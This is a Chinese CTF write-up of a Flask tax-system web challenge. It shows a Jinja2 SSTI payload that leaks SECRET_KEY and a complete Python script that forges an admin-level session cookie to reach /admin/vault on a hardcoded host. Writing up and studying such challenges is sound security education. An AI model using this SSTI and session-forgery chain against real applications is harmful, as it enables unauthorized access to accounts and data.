Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程

{{config.SECRET_KEY}}注入读密钥itsdangerous伪造admin session

三、WEB-TaxSystem_SSTI

题目难度

中级

题目分类

WEB

漏洞类型

SSTI (Server-Side Template Injection) + Session 伪造

题目描述

这是一道第十届御网杯网络安全线上挑战赛的基于 Flask 框架的税务系统题目。附件提供了完整的源码,包含 app.py、config.py 和 init_db.py 等核心文件。系统有一个管理员账号(admin/123456),登录后可以查看和编辑纳税人档案。我们的目标是获取管理员权限来访问 /admin/vault 获取 flag。

解题思路

Step 1:登录并信息收集

使用 curl 登录管理员账号,获取会话后观察各个功能点。通过审计源码发现,系统在编辑档案时会将用户输入的内容渲染到 Jinja2 模板中,这就是 SSTI 的入口。config.py 中存储了 SECRET_KEY,而这个密钥可以通过 SSTI 注入读取到。

Step 2SSTI 注入获取 SECRET_KEY

在编辑档案功能中,注入以下 SSTI Payload:

{{ config.SECRET_KEY }}

服务器将这段模板语法进行渲染,直接返回了 SECRET_KEY 的值。这就是 SSTI 的危险之处——用户输入被当作模板代码执行,可以读取服务器上的敏感信息。

获取到的 SECRET_KEYsecret_tax_key_2026_xoxo

通过 SSTI 获取 SECRET_KEY 后,利用 itsdangerous 库伪造高权限 Session

Step 3:伪造 Session Cookie

拿到 SECRET_KEY 后,我们就可以使用 Python 的 itsdangerous 库来伪造 Flask 的 session cookie。Flask 默认使用 itsdangerous 库对 session 数据进行签名,只要知道 SECRET_KEY,就能构造出任意内容的合法 session。我们构造一个 role=tax_inspector 的高权限 session,然后用它访问 /admin/vault 获取 flag。

伪造 Session 脚本

下面是完整的自动化利用脚本,涵盖了登录、验证密钥、伪造 session、获取 flag 的全流程:

import hashlib

import requests

from itsdangerous import URLSafeTimedSerializer

from itsdangerous.exc import BadSignature

 

TARGET = "http://47.99.147.34:16610"

 

try:

    import itsdangerous

    print(f"itsdangerous 版本: {itsdangerous.__version__}")

except Exception:

    print("请安装: pip install itsdangerous")

    exit(1)

 

print("\n[1] 登录 admin/123456...")

sess = requests.Session()

r = sess.post(f"{TARGET}/login",

              data={"username": "admin", "password": "123456"},

              allow_redirects=False)

 

raw_cookie = sess.cookies.get('session')

if raw_cookie:

    print(f"原始 session: {raw_cookie[:60]}...")

else:

    print("未获取到 session cookie")

    raw_cookie = None

 

SECRET_KEY = "secret_tax_key_2026_xoxo"

print(f"\n[2] SECRET_KEY (从 SSTI 获取): {SECRET_KEY}")

 

SIGNER_KWARGS = {

    'salt': 'cookie-session',

    'signer_kwargs': {

        'key_derivation': 'hmac',

        'digest_method': hashlib.sha1

    }

}

 

if raw_cookie:

    print("\n[3] 验证 SECRET_KEY...")

    s = URLSafeTimedSerializer(SECRET_KEY, **SIGNER_KWARGS)

    try:

        data = s.loads(raw_cookie)

        print(f"密钥正确! session 内容: {data}")

    except BadSignature:

        print("密钥签名不匹配,尝试其他参数...")

        s2 = URLSafeTimedSerializer(SECRET_KEY, salt='cookie-session')

        try:

            data = s2.loads(raw_cookie)

            print(f"无需 key_derivation 即可验证! session: {data}")

            SIGNER_KWARGS = {'salt': 'cookie-session'}

        except BadSignature:

            print("仍然失败")

 

print("\n[4] 伪造 role=tax_inspector session...")

s = URLSafeTimedSerializer(SECRET_KEY, **SIGNER_KWARGS)

fake_cookie = s.dumps({'role': 'tax_inspector', 'user_id': 1})

print(f"伪造 session: {fake_cookie}")

 

print("\n[5] 访问 /admin/vault 获取 flag...")

r = requests.get(f"{TARGET}/admin/vault",

                 cookies={'session': fake_cookie})

print(f"[*] HTTP {r.status_code}")

 

if 'flag' in r.text.lower():

    import re

    m = re.search(r'flag\{[^}]+\}', r.text)

    if m:

        print(f"[+] FLAG: {m.group()}")

    else:

        print(f"成功进入 vault!\n{r.text[:800]}")

攻击流程小结

整个攻击过程可以概括为以下几个关键步骤:首先登录管理员账号,然后利用档案编辑功能中的 SSTI 漏洞,注入 {{ config.SECRET_KEY }} 读取到 Flask 应用的密钥。接着使用 itsdangerous 库和这个密钥伪造一个具有 tax_inspector 角色的高权限 session cookie。最后携带伪造的 cookie 访问 /admin/vault 页面,成功获取 flag。这道题的核心在于 SSTI 和 Session 伪造的组合使用,属于比较经典的 Flask 应用攻击链。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xBADCODE

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值